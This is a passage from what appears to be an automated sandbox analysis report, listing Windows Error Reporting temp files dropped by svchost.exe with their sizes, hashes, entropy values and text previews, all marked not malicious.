Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC04.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6968634028927814
Encrypted:	false
SSDEEP:	96:TiZYW0xCXp/YdY9xGI0HnYEZQGtAiLLflSEwc02qa399MDOeQIcQZ:2ZDp6epq+a399MD5ncQZ
MD5:	0A4163AD463A7C4BD46CC7073E1AD664
SHA1:	AD6818BFCA51B7976A6CDB22723F7B685C50C925
SHA-256:	1FA7A577691CF03DE8E5DE3BE4204F94B6A44BD09F0E848BB9DC186A3D6A6D7E
SHA-512:	02681AFE499D4CC9C03B0D0B35C789CEFEEC52D071D27E2840AD5C1E8531470CF2EFC7D9ABE174129DF7C48FF859C2E662EC0FA806058F025710B8C2D6E66C83
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC1F4.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	90044
Entropy (8bit):	3.0739464892923736
Encrypted:	false
SSDEEP:	1536:Fgpk1R0gBeOWo7xYQ7sAtOerPDY5ut5qjsyWRsgLVFWkBHbG9:Fgpk1R0gBeOWo7xYQ7sAtOerPDY5ut54
MD5:	F591968370254F8DCF4A1723CAE491BB
SHA1:	BFE980D58063EA551B3B7DFEFAD0519226F103FD
SHA-256:	F5191D6E201DD3918BA87F819F6F60E637F7E6EAABD81CA700ADCBC3AA3DDA97
SHA-512:	48CCB1185C926ADC216B7E403FF1FFAF1F66D58F0B2215601155F6BC5B157CBC3A1D3A133985490C8F1C32BAF879AAFC0951ED73CFE0E28F1BF70074368ED9F6
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC2FE.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.695927592665297
Encrypted:	false
SSDEEP:	96:TiZYW88mjNYcYQoGJJHeYEZKutAiM45lSow4fxAa69kM9Oe4IhQZ:2ZD4LXvIua69kM95fhQZ
MD5:	9CF219757F1C13244C81E66E8D29933E
SHA1:	AE9E08C1DC65B9A88DF05158EB997F02492BAA81
SHA-256:	E6E8E58E5DB698C614660DC0E30665BD77DF980A72009BD26201DA28577EFB03
SHA-512:	9D5CA861443770A84FF4E3833B636E1BB972CA10086C4DCD7AEB549798518C85E1A3EC3E202359A83F26E90BF408ABB8485B4957A6E7DA7C78D762DD1ABFE0A0
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCA5.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	90276
Entropy (8bit):	3.072144091606816
Encrypted:	false
SSDEEP:	1536:9X55jHf+QUTg3TK7tPM7cjsyWRsgLV1fVAeauiC8X8:9X55jHf+QUTg3TK7tPM7KsyWRsgLV1fd
MD5:	FFEA484DE4F9D3BFD31A886131E1524E
SHA1:	E3E9F3436EBAF4C08C199078168658FD0C41EB25
SHA-256:	4E24E1275F62E8C3E70FFAD85D6828E47878C2124FD6C06CB39F2FBA92A54A80
SHA-512:	2C289A978A4D81195DF0A78D95D81B6B4F6258B13A6FB03D99767CCB93CAC4587EB875250E6AC2A98C75F27654915262490412C3C81FB31A86DCF9C7992153AE
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCADF.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	90344
Entropy (8bit):	3.0734660048522864
Encrypted:	false
SSDEEP:	1536:bkkYR0SBXOt9cc3IfavOR9rP9Y5ikVnYjsyWRsgLVsWk39Px:bkkYR0SBXOt9cc3IfavOR9rP9Y5ikVne
MD5:	60B62D09BAA7E73221082F2B827E65CD
SHA1:	FE8CE9B240F5123121729ABB55459A475F7EECC0
SHA-256:	0304CAF40F2662B2E0253104BDFB1A826E625930125EA9168C05D8711E18E59F
SHA-512:	41C2068D71630277560794F4D62C52DEAE670AAD34BFEA3518894A9272A484B71C42DB93F19EB2349F76207DDBCA8266218CE6045EBC1E6C199619B5DE3742C5
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCB3E.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6955222300476147
Encrypted:	false
SSDEEP:	96:TiZYWINHhAYAYpGXe6HMYEZsgGtAin4IlSPw6r0Ba29UMcOe7EItQZ:2ZD7nngNEa29UMc53tQZ
MD5:	59FA1811E3B988F5A98054E9F08ABCE6
SHA1:	8B2C412309564651211669C02007BDE099EE9DEE
SHA-256:	03D8731038EA87165FC35A5905BC59761BA19629A417F166AD07A77B7A0BF6C7
SHA-512:	94DCA4FA3CF515F6BD9C534F98D444E12B198615D2889DF4EEF1221C5B4297247DF48AD219ADAB5811127D04243875AB6C910A88596604C006BBEBFF99A4F04E
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCC77.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	90756
Entropy (8bit):	3.072613660938674
Encrypted:	false
SSDEEP:	1536:MaRkRBKoBNOt9cc3IKauOR9rPm4iltnYjsyWRsgLV5WkAjlxsZ9:MaRkRBKoBNOt9cc3IKauOR9rPm4iltnB
MD5:	0A46D1FE64925A15112C6124BC3C31E0
SHA1:	C4CC80685F303DCECA01BE297CDB81BEA469C6B4
SHA-256:	F7335A7256E37BCE812CB6455AFC3136CEC7A14634E926FF4DF57D585EFF55A1
SHA-512:	93E32AE73D80F1C83467060B623F743BAF997FBDB39A0007F452CC9E6ED6BB1BC151DD285AD60B51945D0397D4385683BDA8E999740F64AB29AB59B879E12C59
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCCE5.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6956257915532498
Encrypted:	false
SSDEEP:	96:TiZYWwT3n+rLYnYFGQiHMYEZoghtAiS4qlSewjbya29xPM0Oe7wI0QZ:2ZDNwy3Wa29xPM05D0QZ
MD5:	41BC310B868E800465C84B5188E11830
SHA1:	3EC2DE54DE9C900E36C5336256FE9913DFA18C82
SHA-256:	9042022723BC1C4E963AC504C50C2681CB0CC90D9CD1E51B3C905DE5C6C2B6E2
SHA-512:	336226D83E0AB03A03320AD89AD3808D4249397514B31CBCFFE3186F9EE3ED7FD5128C468CC794ECABE8ACC82CFFDF783CACEF8D473EF7ED240B2202CAA4E86B
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCFC5.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	90766
Entropy (8bit):	3.072654012217616
Encrypted:	false
SSDEEP:	1536:e4kRvKcmBxRi85Hcc3IRa9fJ9rPm4fzt9YjsyWRsgLVEWkGdI:e4kRvKcmBxRi85Hcc3IRa9fJ9rPm4fzY
MD5:	C7A253FF438D0FA8AB685B12B70264D2
SHA1:	7C5A928B9EB78E90BF7E52B9DF0A66923127382F
SHA-256:	D0FDD58B1B719F7B7AEFCC5350971431A7718E61E8817C6C40751D97EAA70486
SHA-512:	957D3739CD31CA253CA08341ED2FE724AA5804E7E6AA86174436C8F9D2534C257769A6EC4A7012DFD580D5ECA31183CAFE88BA08348D49531E09D0856F2E8580
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD033.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.695837288566388
Encrypted:	false
SSDEEP:	96:TiZYWdlrShEko1Y7YOlGqHGYEZJnMtAin4GlS2whPz9yaR9wqMROe7kIH7QZ:2ZDd2YcIlPsaR9wqMR5XbQZ
MD5:	B953733ED5CC51BE32A7660725477F03
SHA1:	7C2D47CFBEE7A0A7AD0327E0E3275498E1F16F25
SHA-256:	D8D784793E4D17F3F97DA27EA0BBC15390F257233237810EADACCEFF6FA3B7B7
SHA-512:	C972EB347592457C8D2A5015624A68E0D8A0FE5AB25FAC2F672457D922B4218D2D6CF55D584D1BE13681DB6AB7F78FAC6E99BDD70F5B0E4FAFE4A1FB44A79AC3
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD286.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	88706
Entropy (8bit):	3.075375257559398
Encrypted:	false
SSDEEP:	1536:hDk/u4PQuRi859cc3IXavfq9rPSXiDJsYjsyWRsgLVnWkKu58Lp:hDk/u4PQuRi859cc3IXavfq9rPSXiDJX
MD5:	44D82B0AC234CF2F54961AFAE9FB44EA
SHA1:	FB8EC2B592289035A4237E77821EADA37A22EAED
SHA-256:	D6C5E5E3487001209A56DB5A00D6AE76C79AA68275209989550DEB3FE4EAD9A0
SHA-512:	829F1D09B4281D9C772AEC30A5B468E8BF3FD309CB1DA04019A3D99F2B0B8B5E0038FAF845DC6D87F1AA2670C86E43EAC6C3DB5474B5F716A757859F91335336
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.